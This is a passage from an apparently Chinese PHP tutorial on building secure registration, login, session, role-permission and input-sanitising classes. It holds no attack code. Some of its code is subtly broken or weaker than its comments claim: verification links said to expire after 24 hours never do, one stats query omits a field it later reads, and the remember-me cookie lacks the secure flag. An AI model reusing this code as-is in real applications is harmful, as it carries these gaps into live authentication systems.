            $this->sendVerificationEmail($userData['email'], $userData['username'], $userId);
            return $userId;
        }

        return false;
    }

    // 验证输入数据
    private function validateInput($userData) {
        $this->errors = [];

        // 验证用户名
        if (empty($userData['username'])) {
            $this->errors[] = "用户名不能为空";
        } elseif (strlen($userData['username']) < 3 || strlen($userData['username']) > 50) {
            $this->errors[] = "用户名长度必须在3-50个字符之间";
        } elseif (!preg_match('/^[a-zA-Z0-9_]+$/', $userData['username'])) {
            $this->errors[] = "用户名只能包含字母、数字和下划线";
        }

        // 验证邮箱
        if (empty($userData['email'])) {
            $this->errors[] = "邮箱不能为空";
        } elseif (!filter_var($userData['email'], FILTER_VALIDATE_EMAIL)) {
            $this->errors[] = "邮箱格式不正确";
        }

        // 验证密码
        if (empty($userData['password'])) {
            $this->errors[] = "密码不能为空";
        }

        // 验证确认密码
        if (isset($userData['confirm_password']) &&
            $userData['password'] !== $userData['confirm_password']) {
            $this->errors[] = "两次输入的密码不一致";
        }

        return empty($this->errors);
    }

    // 检查用户名是否存在
    private function isUsernameExists($username) {
        $stmt = $this->db->prepare("SELECT id FROM users WHERE username = :username");
        $stmt->execute([':username' => $username]);
        return $stmt->fetch() !== false;
    }

    // 检查邮箱是否存在
    private function isEmailExists($email) {
        $stmt = $this->db->prepare("SELECT id FROM users WHERE email = :email");
        $stmt->execute([':email' => $email]);
        return $stmt->fetch() !== false;
    }

    // 创建用户记录
    private function createUser($userData) {
        $hashedPassword = PasswordManager::hashPassword($userData['password']);
        $verificationToken = bin2hex(random_bytes(32));

        $stmt = $this->db->prepare("
            INSERT INTO users (username, email, password_hash, role, status, verification_token)
            VALUES (:username, :email, :password_hash, :role, :status, :verification_token)
        ");

        $result = $stmt->execute([
            ':username' => $userData['username'],
            ':email' => $userData['email'],
            ':password_hash' => $hashedPassword,
            ':role' => 'user',
            ':status' => 'inactive', // 需要邮箱验证后激活
            ':verification_token' => $verificationToken
        ]);

        if ($result) {
            return $this->db->lastInsertId();
        }

        return false;
    }

    // 创建用户资料
    private function createUserProfile($userId, $userData) {
        $stmt = $this->db->prepare("
            INSERT INTO user_profiles (user_id, first_name, last_name, phone)
            VALUES (:user_id, :first_name, :last_name, :phone)
        ");

        return $stmt->execute([
            ':user_id' => $userId,
            ':first_name' => $userData['first_name'] ?? '',
            ':last_name' => $userData['last_name'] ?? '',
            ':phone' => $userData['phone'] ?? ''
        ]);
    }

    // 发送验证邮件
    private function sendVerificationEmail($email, $username, $userId) {
        // 这里应该实现邮件发送功能
        // 可以使用PHPMailer或其他邮件库

        $verificationLink = "http://yourdomain.com/verify.php?token=" .
                           urlencode($this->getVerificationToken($userId));

        $subject = "验证您的账户";
        $message = "
            <h2>欢迎注册,{$username}!</h2>
            <p>感谢您注册我们的网站。请点击下面的链接验证您的邮箱地址:</p>
            <p><a href='{$verificationLink}'>验证邮箱</a></p>
            <p>如果链接无法点击,请复制以下网址到浏览器地址栏:</p>
            <p>{$verificationLink}</p>
            <p>此链接将在24小时后失效。</p>
        ";

        // 实际实现中,这里应该调用邮件发送函数
        // sendEmail($email, $subject, $message);

        // 为了演示,我们只记录邮件内容
        echo "验证邮件已准备发送到:{$email}<br>";
        echo "验证链接:{$verificationLink}<br>";

        return true;
    }

    // 获取验证令牌
    private function getVerificationToken($userId) {
        $stmt = $this->db->prepare("SELECT verification_token FROM users WHERE id = :id");
        $stmt->execute([':id' => $userId]);
        $result = $stmt->fetch(PDO::FETCH_ASSOC);
        return $result ? $result['verification_token'] : null;
    }

    // 验证邮箱
    public function verifyEmail($token) {
        $stmt = $this->db->prepare("
            SELECT id FROM users
            WHERE verification_token = :token
            AND status = 'inactive'
        ");
        $stmt->execute([':token' => $token]);
        $user = $stmt->fetch(PDO::FETCH_ASSOC);

        if ($user) {
            $stmt = $this->db->prepare("
                UPDATE users
                SET status = 'active', verification_token = NULL, email_verified_at = NOW()
                WHERE id = :id
            ");
            return $stmt->execute([':id' => $user['id']]);
        }

        return false;
    }

    // 获取错误信息
    public function getErrors() {
        return $this->errors;
    }
}

// 使用示例
/*
// 数据库连接
$pdo = new PDO('mysql:host=localhost;dbname=myapp', 'username', 'password');

// 处理注册表单
if ($_POST['action'] === 'register') {
    $registration = new UserRegistration($pdo);

    $userData = [
        'username' => $_POST['username'],
        'email' => $_POST['email'],
        'password' => $_POST['password'],
        'confirm_password' => $_POST['confirm_password'],
        'first_name' => $_POST['first_name'],
        'last_name' => $_POST['last_name'],
        'phone' => $_POST['phone']
    ];

    $userId = $registration->register($userData);

    if ($userId) {
        echo "注册成功!请查收邮件验证您的账户。";
    } else {
        $errors = $registration->getErrors();
        echo "注册失败:" . implode(', ', $errors);
    }
}

// 处理邮箱验证
if ($_GET['action'] === 'verify' && isset($_GET['token'])) {
    $registration = new UserRegistration($pdo);

    if ($registration->verifyEmail($_GET['token'])) {
        echo "邮箱验证成功!您的账户已激活。";
    } else {
        echo "验证链接无效或已过期。";
    }
}
*/
?>

4. 用户登录系统

<?php
// 用户登录认证类
class UserAuthentication {
    private $db;
    private $maxLoginAttempts = 5;
    private $lockoutDuration = 900; // 15分钟
    private $sessionTimeout = 3600; // 1小时

    public function __construct($database) {
        $this->db = $database;
        $this->initializeSession();
    }

    // 初始化Session
    private function initializeSession() {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            // 安全的Session配置
            ini_set('session.cookie_httponly', 1);
            ini_set('session.use_strict_mode', 1);
            ini_set('session.cookie_samesite', 'Strict');

            session_start();
            session_regenerate_id(true);
        }
    }

    // 用户登录
    public function login($username, $password, $remember = false) {
        // 获取用户信息
        $user = $this->getUserByUsername($username);

        if (!$user) {
            $this->recordFailedLogin($username);
            return ['success' => false, 'message' => '用户名或密码错误'];
        }

        // 检查账户状态
        if ($user['status'] !== 'active') {
            return ['success' => false, 'message' => '账户未激活或已被禁用'];
        }

        // 检查账户是否被锁定
        if ($user['locked_until'] && strtotime($user['locked_until']) > time()) {
            $remainingTime = strtotime($user['locked_until']) - time();
            return [
                'success' => false,
                'message' => "账户已被锁定,请 {$remainingTime} 秒后重试"
            ];
        }

        // 验证密码
        if (!PasswordManager::verifyPassword($password, $user['password_hash'])) {
            $this->recordFailedLogin($username, $user['id'], $user['login_attempts']);
            return ['success' => false, 'message' => '用户名或密码错误'];
        }

        // 登录成功
        $this->recordSuccessfulLogin($user['id']);
        $this->createUserSession($user, $remember);

        return ['success' => true, 'user' => $user];
    }

    // 获取用户信息
    private function getUserByUsername($username) {
        $stmt = $this->db->prepare("
            SELECT id, username, email, password_hash, role, status,
                   login_attempts, locked_until, last_login
            FROM users
            WHERE username = :username
        ");
        $stmt->execute([':username' => $username]);
        return $stmt->fetch(PDO::FETCH_ASSOC);
    }

    // 记录登录失败
    private function recordFailedLogin($username, $userId = null, $currentAttempts = 0) {
        if ($userId) {
            $newAttempts = $currentAttempts + 1;
            $lockedUntil = null;

            // 检查是否需要锁定账户
            if ($newAttempts >= $this->maxLoginAttempts) {
                $lockedUntil = date('Y-m-d H:i:s', time() + $this->lockoutDuration);
            }

            $stmt = $this->db->prepare("
                UPDATE users
                SET login_attempts = :attempts, locked_until = :locked_until
                WHERE id = :user_id
            ");

            $stmt->execute([
                ':attempts' => $newAttempts,
                ':locked_until' => $lockedUntil,
                ':user_id' => $userId
            ]);
        }

        // 记录安全日志
        $this->logSecurityEvent('login_failed', [
            'username' => $username,
            'ip' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT']
        ]);
    }

    // 记录登录成功
    private function recordSuccessfulLogin($userId) {
        $stmt = $this->db->prepare("
            UPDATE users
            SET login_attempts = 0, locked_until = NULL, last_login = NOW()
            WHERE id = :user_id
        ");

        $stmt->execute([':user_id' => $userId]);

        // 记录安全日志
        $this->logSecurityEvent('login_success', [
            'user_id' => $userId,
            'ip' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT']
        ]);
    }

    // 创建用户Session
    private function createUserSession($user, $remember = false) {
        // 重新生成Session ID防止Session固定攻击
        session_regenerate_id(true);

        // 设置Session数据
        $_SESSION['user_id'] = $user['id'];
        $_SESSION['username'] = $user['username'];
        $_SESSION['email'] = $user['email'];
        $_SESSION['role'] = $user['role'];
        $_SESSION['login_time'] = time();
        $_SESSION['last_activity'] = time();
        $_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

        // 设置记住我Cookie
        if ($remember) {
            $token = bin2hex(random_bytes(32));
            $expires = time() + (86400 * 30); // 30天

            $this->setRememberToken($user['id'], $token, $expires);
            setcookie('remember_token', $token, $expires, '/', '', false, true);
        }
    }

    // 设置记住我令牌
    private function setRememberToken($userId, $token, $expires) {
        $stmt = $this->db->prepare("
            INSERT INTO remember_tokens (user_id, token, expires)
            VALUES (:user_id, :token, :expires)
        ");

        return $stmt->execute([
            ':user_id' => $userId,
            ':token' => $token,
            ':expires' => date('Y-m-d H:i:s', $expires)
        ]);
    }

    // 检查用户是否已登录
    public function isLoggedIn() {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
        }

        // 检查Session是否包含用户信息
        if (!isset($_SESSION['user_id'])) {
            // 尝试使用记住我功能
            return $this->checkRememberToken();
        }

        // 检查Session是否超时
        if (time() - $_SESSION['last_activity'] > $this->sessionTimeout) {
            $this->logout();
            return false;
        }

        // 验证IP地址和User-Agent(可选的安全检查)
        if ($this->validateSessionIntegrity()) {
            // 更新最后活动时间
            $_SESSION['last_activity'] = time();
            return true;
        }

        $this->logout();
        return false;
    }

    // 检查记住我令牌
    private function checkRememberToken() {
        if (!isset($_COOKIE['remember_token'])) {
            return false;
        }

        $token = $_COOKIE['remember_token'];
        $stmt = $this->db->prepare("
            SELECT user_id FROM remember_tokens
            WHERE token = :token AND expires > :now
        ");
        $stmt->execute([':token' => $token, ':now' => date('Y-m-d H:i:s')]);
        $result = $stmt->fetch(PDO::FETCH_ASSOC);

        if (!$result) {
            return false;
        }

        // 获取用户信息并创建Session
        $user = $this->getUserById($result['user_id']);
        if ($user && $user['status'] === 'active') {
            session_regenerate_id(true);
            $this->createUserSession($user, false);
            return true;
        }

        return false;
    }

    // 根据ID获取用户信息
    private function getUserById($userId) {
        $stmt = $this->db->prepare("
            SELECT id, username, email, role, status
            FROM users
            WHERE id = :id AND status = 'active'
        ");
        $stmt->execute([':id' => $userId]);
        return $stmt->fetch(PDO::FETCH_ASSOC);
    }

    // 验证Session完整性
    private function validateSessionIntegrity() {
        // 检查IP地址(可选,可能会影响移动用户)
        if (isset($_SESSION['ip_address']) &&
            $_SESSION['ip_address'] !== $_SERVER['REMOTE_ADDR']) {
            $this->logSecurityEvent('ip_address_changed', [
                'session_id' => session_id(),
                'original_ip' => $_SESSION['ip_address'],
                'current_ip' => $_SERVER['REMOTE_ADDR']
            ]);
            return false;
        }

        // 检查User-Agent
        if (isset($_SESSION['user_agent']) &&
            $_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
            $this->logSecurityEvent('user_agent_changed', [
                'session_id' => session_id(),
                'original_agent' => $_SESSION['user_agent'],
                'current_agent' => $_SERVER['HTTP_USER_AGENT']
            ]);
            return false;
        }

        return true;
    }

    // 获取当前用户信息
    public function getCurrentUser() {
        if ($this->isLoggedIn()) {
            return [
                'id' => $_SESSION['user_id'],
                'username' => $_SESSION['username'],
                'email' => $_SESSION['email'],
                'role' => $_SESSION['role'],
                'login_time' => $_SESSION['login_time']
            ];
        }
        return null;
    }

    // 检查用户权限
    public function hasRole($requiredRole) {
        if (!$this->isLoggedIn()) {
            return false;
        }

        $userRole = $_SESSION['role'];

        // 角色层次:admin > manager > user > guest
        $roleHierarchy = [
            'admin' => 4,
            'manager' => 3,
            'user' => 2,
            'guest' => 1
        ];

        return ($roleHierarchy[$userRole] ?? 0) >= ($roleHierarchy[$requiredRole] ?? 0);
    }

    // 用户登出
    public function logout() {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
        }

        $userId = $_SESSION['user_id'] ?? null;

        // 记录登出事件
        if ($userId) {
            $this->logSecurityEvent('logout', [
                'user_id' => $userId,
                'session_duration' => time() - ($_SESSION['login_time'] ?? time())
            ]);
        }

        // 清除Session数据
        $_SESSION = [];

        // 删除Session Cookie
        if (ini_get("session.use_cookies")) {
            $params = session_get_cookie_params();
            setcookie(session_name(), '', time() - 42000,
                $params["path"], $params["domain"],
                $params["secure"], $params["httponly"]
            );
        }

        // 删除记住我令牌
        if (isset($_COOKIE['remember_token'])) {
            $token = $_COOKIE['remember_token'];
            $stmt = $this->db->prepare("DELETE FROM remember_tokens WHERE token = :token");
            $stmt->execute([':token' => $token]);

            setcookie('remember_token', '', time() - 3600, '/');
        }

        // 销毁Session
        session_destroy();
    }

    // 记录安全事件
    private function logSecurityEvent($event, $data = []) {
        $logEntry = [
            'timestamp' => date('Y-m-d H:i:s'),
            'event' => $event,
            'data' => $data,
            'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown'
        ];

        // 这里可以写入日志文件或数据库
        error_log("Security Event: " . json_encode($logEntry));
    }

    // 获取登录统计信息
    public function getLoginStats($userId) {
        $stmt = $this->db->prepare("
            SELECT last_login, login_attempts, status
            FROM users
            WHERE id = :user_id
        ");
        $stmt->execute([':user_id' => $userId]);
        $user = $stmt->fetch(PDO::FETCH_ASSOC);

        if ($user) {
            return [
                'last_login' => $user['last_login'],
                'login_attempts' => $user['login_attempts'],
                'status' => $user['status'],
                'is_locked' => $user['locked_until'] && strtotime($user['locked_until']) > time(),
                'locked_until' => $user['locked_until']
            ];
        }

        return null;
    }
}

// 使用示例
/*
// 数据库连接
$pdo = new PDO('mysql:host=localhost;dbname=myapp', 'username', 'password');
$auth = new UserAuthentication($pdo);

// 处理登录请求
if ($_POST['action'] === 'login') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $remember = isset($_POST['remember']);

    $result = $auth->login($username, $password, $remember);

    if ($result['success']) {
        echo "登录成功!欢迎," . $result['user']['username'] . "!";
        // 重定向到仪表板
        // header('Location: /dashboard');
    } else {
        echo "登录失败:" . $result['message'];
    }
}

// 检查登录状态
if ($auth->isLoggedIn()) {
    $user = $auth->getCurrentUser();
    echo "当前用户:" . $user['username'] . "(" . $user['role'] . ")";

    // 权限检查示例
    if ($auth->hasRole('admin')) {
        echo " - 您有管理员权限";
    }
} else {
    echo "请先登录!";
    // 显示登录表单
}

// 处理登出请求
if ($_GET['action'] === 'logout') {
    $auth->logout();
    echo "已安全退出登录";
}
*/
?>

5. 权限控制系统

<?php
// 权限控制类
class AccessControl {
    private $auth;
    private $permissions = [];

    public function __construct($auth) {
        $this->auth = $auth;
        $this->initializePermissions();
    }

    // 初始化权限定义
    private function initializePermissions() {
        $this->permissions = [
            // 管理员权限
            'admin' => [
                'user.create',
                'user.read',
                'user.update',
                'user.delete',
                'content.create',
                'content.read',
                'content.update',
                'content.delete',
                'system.settings',
                'system.logs',
                'system.backup'
            ],

            // 经理权限
            'manager' => [
                'user.read',
                'user.update',
                'content.create',
                'content.read',
                'content.update',
                'content.delete',
                'reports.view'
            ],

            // 普通用户权限
            'user' => [
                'content.read',
                'content.create',
                'profile.update',
                'profile.read'
            ],

            // 访客权限
            'guest' => [
                'content.read'
            ]
        ];
    }

    // 检查用户是否有特定权限
    public function can($permission) {
        if (!$this->auth->isLoggedIn()) {
            // 检查是否为游客权限
            return in_array($permission, $this->permissions['guest'] ?? []);
        }

        $user = $this->auth->getCurrentUser();
        $userRole = $user['role'];

        return in_array($permission, $this->permissions[$userRole] ?? []);
    }

    // 检查用户是否为管理员
    public function isAdmin() {
        return $this->auth->hasRole('admin');
    }

    // 检查用户是否为经理
    public function isManager() {
        return $this->auth->hasRole('manager') || $this->auth->hasRole('admin');
    }

    // 检查用户是否可以访问特定资源
    public function canAccessResource($resource, $action = 'read') {
        $permission = $resource . '.' . $action;
        return $this->can($permission);
    }

    // 获取用户的所有权限
    public function getUserPermissions() {
        if (!$this->auth->isLoggedIn()) {
            return $this->permissions['guest'] ?? [];
        }

        $user = $this->auth->getCurrentUser();
        $userRole = $user['role'];

        return $this->permissions[$userRole] ?? [];
    }

    // 权限装饰器函数
    public function requirePermission($permission, $callback = null) {
        if (!$this->can($permission)) {
            $this->accessDenied();
            return false;
        }

        if ($callback && is_callable($callback)) {
            return call_user_func($callback);
        }

        return true;
    }

    // 访问被拒绝处理
    public function accessDenied() {
        http_response_code(403);

        if ($this->auth->isLoggedIn()) {
            echo "<h1>访问被拒绝</h1>";
            echo "<p>您没有足够的权限访问此资源。</p>";
            echo "<p><a href='/'>返回首页</a></p>";
        } else {
            echo "<h1>请先登录</h1>";
            echo "<p>您需要登录才能访问此资源。</p>";
            echo "<p><a href='/login.php'>登录</a></p>";
        }

        exit;
    }

    // 角色中间件
    public function requireRole($role) {
        if (!$this->auth->hasRole($role)) {
            $this->accessDenied();
        }
    }

    // 资源访问检查中间件
    public function checkResourceAccess($resource, $action = 'read') {
        if (!$this->canAccessResource($resource, $action)) {
            $this->accessDenied();
        }
    }

    // 动态权限检查(基于数据库)
    public function canDo($action, $resourceType = null, $resourceId = null) {
        if (!$this->auth->isLoggedIn()) {
            return false;
        }

        $user = $this->auth->getCurrentUser();
        $userId = $user['id'];

        // 管理员可以执行任何操作
        if ($this->isAdmin()) {
            return true;
        }

        // 这里可以实现更复杂的权限逻辑
        // 例如基于资源的所有者检查

        if ($resourceType === 'user' && $action === 'update') {
            // 用户只能更新自己的资料
            return $userId == $resourceId;
        }

        if ($resourceType === 'content') {
            // 内容创建者可以编辑和删除
            return $this->isContentOwner($userId, $resourceId, $action);
        }

        return false;
    }

    // 检查内容所有权
    private function isContentOwner($userId, $contentId, $action) {
        // 这里应该查询数据库检查内容所有权
        // 为了演示,返回false
        return false;
    }
}

// 权限装饰器函数示例
function requirePermission($permission) {
    global $auth, $accessControl;

    if (!$accessControl->can($permission)) {
        $accessControl->accessDenied();
    }
}

function requireRole($role) {
    global $auth, $accessControl;

    if (!$auth->hasRole($role)) {
        $accessControl->accessDenied();
    }
}

// 使用示例
/*
// 初始化
$pdo = new PDO('mysql:host=localhost;dbname=myapp', 'username', 'password');
$auth = new UserAuthentication($pdo);
$accessControl = new AccessControl($auth);

// 在控制器中使用权限检查
class UserController {
    private $accessControl;

    public function __construct($accessControl) {
        $this->accessControl = $accessControl;
    }

    public function createUser() {
        // 检查权限
        $this->accessControl->requirePermission('user.create');

        // 创建用户逻辑
        echo "创建用户界面";
    }

    public function updateUser($userId) {
        // 动态权限检查
        if (!$this->accessControl->canDo('update', 'user', $userId)) {
            $this->accessControl->accessDenied();
        }

        // 更新用户逻辑
        echo "更新用户 {$userId} 的信息";
    }

    public function deleteUser($userId) {
        // 检查权限
        $this->accessControl->requirePermission('user.delete');

        // 删除用户逻辑
        echo "删除用户 {$userId}";
    }
}

// 在路由中使用权限检查
function handleRequest($route, $action) {
    global $accessControl;

    // 权限检查
    $accessControl->checkResourceAccess($route, $action);

    // 继续处理请求
    echo "处理路由:{$route},操作:{$action}";
}

// 在视图模板中使用权限检查
// 检查用户权限来显示/隐藏界面元素
function renderNavigation() {
    global $accessControl;

    echo "<nav>";
    echo "<a href='/'>首页</a> ";
    echo "<a href='/dashboard'>仪表板</a> ";

    // 只有管理员可以看到用户管理
    if ($accessControl->can('user.read')) {
        echo "<a href='/users'>用户管理</a> ";
    }

    // 只有管理员可以看到系统设置
    if ($accessControl->can('system.settings')) {
        echo "<a href='/settings'>系统设置</a> ";
    }

    echo "</nav>";
}

// 处理具体的页面请求
if ($_GET['page'] === 'users') {
    requirePermission('user.read');
    // 显示用户列表
}

if ($_GET['page'] === 'settings') {
    requirePermission('system.settings');
    // 显示系统设置
}

if ($_GET['page'] === 'profile') {
    // 用户资料页面,用户自己可以访问
    $userId = $_GET['id'] ?? $_SESSION['user_id'];
    if (!$accessControl->canDo('update', 'user', $userId)) {
        $accessControl->accessDenied();
    }
    // 显示用户资料
}
*/
?>

安全最佳实践

1. 输入验证和过滤

<?php
// 输入验证类
class InputValidator {
    // 清理和验证用户输入
    public static function sanitize($input, $type = 'string') {
        if (is_array($input)) {
            return array_map(function($item) use ($type) {
                return self::sanitize($item, $type);
            }, $input);
        }

        switch ($type) {
            case 'email':
                return filter_var($input, FILTER_SANITIZE_EMAIL);
            case 'url':
                return filter_var($input, FILTER_SANITIZE_URL);
            case 'int':
                return filter_var($input, FILTER_SANITIZE_NUMBER_INT);
            case 'float':
                return filter_var($input, FILTER_SANITIZE_NUMBER_FLOAT);
            case 'string':
            default:
                return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
        }
    }

    // 验证用户名
    public static function validateUsername($username) {
        $errors = [];

        if (empty($username)) {
            $errors[] = "用户名不能为空";
        } elseif (strlen($username) < 3 || strlen($username) > 50) {
            $errors[] = "用户名长度必须在3-50个字符之间";
        } elseif (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
            $errors[] = "用户名只能包含字母、数字和下划线";
        }

        return $errors;
    }

    // 验证邮箱
    public static function validateEmail($email) {
        $errors = [];

        if (empty($email)) {
            $errors[] = "邮箱不能为空";
        } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $errors[] = "邮箱格式不正确";
        }

        return $errors;
    }

    // 验证密码
    public static function validatePassword($password) {
        $errors = [];

        if (empty($password)) {
            $errors[] = "密码不能为空";
        } elseif (strlen($password) < 8) {
            $errors[] = "密码长度至少为8个字符";
        }

        return $errors;
    }

    // 验证CSRF令牌
    public static function validateCSRFToken($token) {
        return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);
    }

    // 生成CSRF令牌
    public static function generateCSRFToken() {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
        }

        if (!isset($_SESSION['csrf_token'])) {
            $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        }

        return $_SESSION['csrf_token'];
    }
}
?>

2. SQL注入防护

<?php
// 安全的数据库操作类
class SecureDatabase {
    private $pdo;

    public function __construct($dsn, $username, $password) {
        $this->pdo = new PDO($dsn, $username, $password, [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_EMULATE_PREPARES => false,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
        ]);
    }

    // 安全的用户查询
    public function getUserByUsername($username) {
        $stmt = $this->pdo->prepare("SELECT * FROM users WHERE username = :username");
        $stmt->execute([':username' => $username]);
        return $stmt->fetch();
    }

    // 安全的用户搜索(防止SQL注入)
    public function searchUsers($searchTerm) {
        $searchTerm = "%{$searchTerm}%";
        $stmt = $this->pdo->prepare("
            SELECT id, username, email FROM users
            WHERE username LIKE :search OR email LIKE :search
            LIMIT 50
        ");
        $stmt->execute([':search' => $searchTerm]);
        return $stmt->fetchAll();
    }

    // 分页查询示例
    public function getUsersWithPagination($page = 1, $perPage = 10, $filters = []) {
        $offset = ($page - 1) * $perPage;

        // 构建WHERE子句
        $where = "WHERE 1=1";
        $params = [];

        if (!empty($filters['role'])) {
            $where .= " AND role = :role";
            $params[':role'] = $filters['role'];
        }

        if (!empty($filters['status'])) {
            $where .= " AND status = :status";
            $params[':status'] = $filters['status'];
        }

        // 获取总数
        $countStmt = $this->pdo->prepare("SELECT COUNT(*) as total FROM users {$where}");
        $countStmt->execute($params);
        $total = $countStmt->fetch()['total'];

        // 获取分页数据
        $dataStmt = $this->pdo->prepare("
            SELECT id, username, email, role, status, created_at
            FROM users {$where}
            ORDER BY created_at DESC
            LIMIT :per_page OFFSET :offset
        ");

        $dataStmt->execute(array_merge($params, [
            ':per_page' => $perPage,
            ':offset' => $offset
        ]));

        return [
            'data' => $dataStmt->fetchAll(),
            'total' => $total,
            'page' => $page,
            'per_page' => $perPage,
            'total_pages' => ceil($total / $perPage)
        ];
    }
}
?>

3. XSS攻击防护

<?php
// XSS防护类
class XSSProtection {
    // 输出转义
    public static function escape($string) {
        return htmlspecialchars($string, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    }

    // 安全地输出用户生成的内容
    public static function safeEcho($string) {
        echo self::escape($string);
    }

    // 清理HTML内容
    public static function cleanHTML($html) {
        // 允许的HTML标签
        $allowedTags = '<p><br><strong><em><u><ol><ul><li><a><h1><h2><h3><h4><h5><h6>';

        return strip_tags($html, $allowedTags);
    }

    // JSON输出转义
    public static function jsonEscape($data) {
        return json_encode($data, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
    }

    // URL编码
    public static function urlEncode($string) {
        return urlencode($string);
    }

    // 安全的属性值
    public static function safeAttribute($string) {
        return htmlspecialchars($string, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
    }
}
?>

完整的用户认证系统示例

<?php
// 完整的用户认证系统整合
class AuthenticationSystem {
    private $db;
    private $auth;
    private $registration;
    private $accessControl;

    public function __construct($dbConfig) {
        $this->db = new PDO(
            $dbConfig['dsn'],
            $dbConfig['username'],
            $dbConfig['password'],
            [
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
            ]
        );

        $this->auth = new UserAuthentication($this->db);
        $this->registration = new UserRegistration($this->db);
        $this->accessControl = new AccessControl($this->auth);
    }

    // 处理注册请求
    public function handleRegistration($postData) {
        $errors = [];

        // 验证CSRF令牌
        if (!InputValidator::validateCSRFToken($postData['csrf_token'] ?? '')) {
            $errors[] = "安全验证失败,请重新提交";
            return ['success' => false, 'errors' => $errors];
        }

        // 清理输入数据
        $userData = [
            'username' => InputValidator::sanitize($postData['username'] ?? ''),
            'email' => InputValidator::sanitize($postData['email'] ?? ''),
            'password' => $postData['password'] ?? '',
            'confirm_password' => $postData['confirm_password'] ?? '',
            'first_name' => InputValidator::sanitize($postData['first_name'] ?? ''),
            'last_name' => InputValidator::sanitize($postData['last_name'] ?? ''),
            'phone' => InputValidator::sanitize($postData['phone'] ?? '')
        ];

        // 额外验证
        $usernameErrors = InputValidator::validateUsername($userData['username']);
        $emailErrors = InputValidator::validateEmail($userData['email']);

        if (!empty($usernameErrors)) {
            $errors = array_merge($errors, $usernameErrors);
        }

        if (!empty($emailErrors)) {
            $errors = array_merge($errors, $emailErrors);
        }

        if (!empty($errors)) {
            return ['success' => false, 'errors' => $errors];
        }

        // 注册用户
        $userId = $this->registration->register($userData);

        if ($userId) {
            return [
                'success' => true,
                'message' => '注册成功!请查收邮件验证您的账户。',
                'user_id' => $userId
            ];
        } else {
            return [
                'success' => false,
                'errors' => $this->registration->getErrors()
            ];
        }
    }

    // 处理登录请求
    public function handleLogin($postData) {
        $errors = [];

        // 验证CSRF令牌
        if (!InputValidator::validateCSRFToken($postData['csrf_token'] ?? '')) {
            $errors[] = "安全验证失败,请重新提交";
            return ['success' => false, 'errors' => $errors];
        }

        // 清理输入数据
        $username = InputValidator::sanitize($postData['username'] ?? '');
        $password = $postData['password'] ?? '';
        $remember = isset($postData['remember']);

        if (empty($username) || empty($password)) {
            $errors[] = "用户名和密码不能为空";
            return ['success' => false, 'errors' => $errors];
        }

        // 尝试登录
        $result = $this->auth->login($username, $password, $remember);

        return $result;
    }

    // 获取认证实例
    public function getAuth() {
        return $this->auth;
    }

    // 获取访问控制实例
    public function getAccessControl() {
        return $this->accessControl;
    }

    // 渲染登录表单
    public function renderLoginForm() {
        $csrfToken = InputValidator::generateCSRFToken();

        echo '<form method="POST" action="/login" class="login-form">';
        echo '<input type="hidden" name="csrf_token" value="' . XSSProtection::escape($csrfToken) . '">';
        echo '<div class="form-group">';
        echo '<label for="username">用户名:</label>';
        echo '<input type="text" id="username" name="username" required>';
        echo '</div>';
        echo '<div class="form-group">';
        echo '<label for="password">密码:</label>';
        echo '<input type="password" id="password" name="password" required>';
        echo '</div>';
        echo '<div class="form-group">';
        echo '<label>';
        echo '<input type="checkbox" name="remember" id="remember">';
        echo ' 记住我';
        echo '</label>';
        echo '</div>';
        echo '<button type="submit" class="btn btn-primary">登录</button>';
        echo '</form>';
    }

    // 渲染注册表单
    public function renderRegistrationForm() {
        $csrfToken = InputValidator::generateCSRFToken();

        echo '<form method="POST" action="/register" class="registration-form">';
        echo '<input type="hidden" name="csrf_token" value="' . XSSProtection::escape($csrfToken) . '">';

        echo '<div class="form-row">';
        echo '<div class="form-group">';
        echo '<label for="username">用户名:</label>';
        echo '<input type="text" id="username" name="username" required>';
        echo '</div>';
        echo '<div class="form-group">';
        echo '<label for="email">邮箱:</label>';
        echo '<input type="email" id="email" name="email" required>';
        echo '</div>';
        echo '</div>';

        echo '<div class="form-row">';
        echo '<div class="form-group">';
        echo '<label for="password">密码:</label>';
        echo '<input type="password" id="password" name="password" required>';
        echo '</div>';
        echo '<div class="form-group">';
        echo '<label for="confirm_password">确认密码:</label>';
        echo '<input type="password" id="confirm_password" name="confirm_password" required>';
        echo '</div>';
        echo '</div>';

        echo '<div class="form-row">';
        echo '<div class="form-group">';
        echo '<label for="first_name">名字:</label>';
        echo '<input type="text" id="first_name" name="first_name">';
        echo '</div>';
        echo '<div class="form-group">';
        echo '<label for="last_name">姓氏:</label>';
        echo '<input type="text" id="last_name" name="last_name">';
        echo '</div>';
        echo '</div>';

        echo '<div class="form-group">';
        echo '<label for="phone">电话:</label>';
        echo '<input type="tel" id="phone" name="phone">';
        echo '</div>';

        echo '<button type="submit" class="btn btn-primary">注册</button>';
        echo '</form>';
    }

    // 渲染用户仪表板
    public function renderDashboard() {
        if (!$this->auth->isLoggedIn()) {
            $this->redirectToLogin();
            return;
        }

        $user = $this->auth->getCurrentUser();
